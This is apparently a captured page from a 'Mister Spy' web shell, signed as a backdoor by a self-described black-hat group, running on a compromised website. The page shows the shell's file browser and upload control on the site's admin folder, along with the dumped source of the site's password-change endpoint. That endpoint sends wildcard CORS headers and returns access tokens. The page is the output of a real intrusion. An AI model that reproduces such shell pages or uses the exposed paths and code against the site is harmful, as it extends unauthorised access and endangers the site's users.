Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/json-usuarios-password-mod.php

<?php

require_once('../inc_library.php');

/* obtiene datos del formulario */
$IdUsuario 			= intval($_REQUEST['IdUsuario']);
$Contrasenia 		= strval($_REQUEST['Contrasenia']);
$password			= strval($_REQUEST['password']);
$Submit				= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err		= 0;
$oUsuarios	= new Usuarios();
$oPaises	= new Paises();
$oGrupos	= new Grupos(); 

$arrResult = array();

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header('Content-type: application/json');

$oUsuario	= $oUsuarios->GetById($IdUsuario);

/* si el formulario fue enviado */
if ($Submit)
{
	$oUs = $oUsuarios->GetByIdCredentials($IdUsuario, $Contrasenia);
	
	$errormsj = '';
	/* validaciones... */
	if ($Contrasenia == '')
		$errormsj = 'Debe ingresar su contrase&ntilde;a actual.';
	if ($password == '')
		$errormsj = 'Debe ingresar una nueva contrase&ntilde;a.';
	if (!$oUs)
		$errormsj = 'La contrase&ntilde;a actual es inv&aacute;lida.';

	/* si no hay errores... */
	if ($errormsj == '')
	{	
		$oUsuario->Contrasenia			= $password;

		/* crea el usuario */
		$oUsuarios->ChangePassword($oUsuario);
		if ($oUsuario->Imagen != '')
			$oUsuario->Imagen			= Usuario::PathImageBig . $oUsuario->Imagen;

		$token = $oUsuario->GenerateRefreshToken();
		$accessToken = $oUsuario->GenerateAccessToken();
		
		$arrResult = array('result' => true, 'data' => $oUsuario, 'accessToken' => $accessToken, 'token' => $token);
	}
	else
	{
		$arrResult = array('result' => false, 'data' => $errormsj);
		
	}
	
	echo json_encode($arrResult);
	exit;
}
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat